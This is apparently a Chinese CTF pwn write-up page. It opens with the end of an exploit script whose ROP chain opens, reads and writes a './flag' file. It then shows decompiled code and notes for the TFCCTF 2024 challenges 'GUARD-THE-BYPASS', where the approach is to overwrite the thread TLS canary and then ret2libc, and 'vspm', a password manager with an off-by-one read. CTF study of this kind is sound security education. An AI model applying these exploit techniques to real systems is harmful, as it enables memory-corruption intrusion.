pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()

3个字节格式化字符串泄露libc

corctf_format-string

source.c

Read More
post @ 2024-08-08

题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024

pwn

GUARD-THE-BYPASS

程序的逻辑如下 这里GUARD也就是指canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-14h] BYREF
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Welcome! Press 1 to start the chall.");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 1 )
  {
    puts("Bye!");
    exit(0);
  }
  len = get_len();
  pthread_create(&newthread, 0LL, game, 0LL);
  pthread_join(newthread, 0LL);
  return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall game(void *a1)
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buf, 0, 32);
  getchar();
  read(0, buf, len);
  return v3 - __readfsqword(0x28u);
}

有canary 没有pie,修改寄存器的gadget也有

posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了

vspm

程序的逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_1289(a1, a2, a3);
  puts("Welcome to the Very Secure Password Manager!");
  puts("--------------------------------------------\n");
  puts("1. Save new password");
  puts("2. Check my passwords");
  puts("3. Delete credentials");
  puts("4. Exit");
  while ( 1 )
  {
    v3 = 0;
    printf("Input: ");
    __isoc99_scanf("%d", &v3);
    getchar();
    if ( v3 <= 0 || v3 > 4 )
      break;
    switch ( v3 )
    {
      case 4:
        exit_();
      case 3:
        delete_password();
        break;
      case 1:
        save_password();
        break;
      default:
        show_password();
        break;
    }
  }
  puts("Not a valid choice :(");
  exit(0);
}

unsigned __int64 save_password()
{
  unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
    ;
  if ( i == 10 )
  {
    puts("No more space to save passwords.");
    exit(0);
  }
  printf("\nSelect length: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  *((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
  printf("Enter credentials: ");
  read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
  printf("Name of the credentials: ");
  read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
  return __readfsqword(0x28u) ^ v13;
}

int show_password()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    v0 = *((_QWORD *)&unk_4060 + 5 * i);
    if ( v0 )
      LODWORD(v0) = printf(
                      "%d. %.*s --> %s",
                      (unsigned int)i,
                      32,
                      (const char *)&unk_4060 + 40 * i + 8,
                      *((const char **)&unk_4060 + 5 * i));
  }
  return v0;
}

unsigned __int64 delete_password()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("Select index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
  {
    puts("You can't delete a non-existent password.");
    exit(0);
  }
  free(*((void **)&unk_4060 + 5 * v1));
  *((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
  memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
  return __readfsqword(0x28u) ^ v2;
}
Read More
⬆︎TOP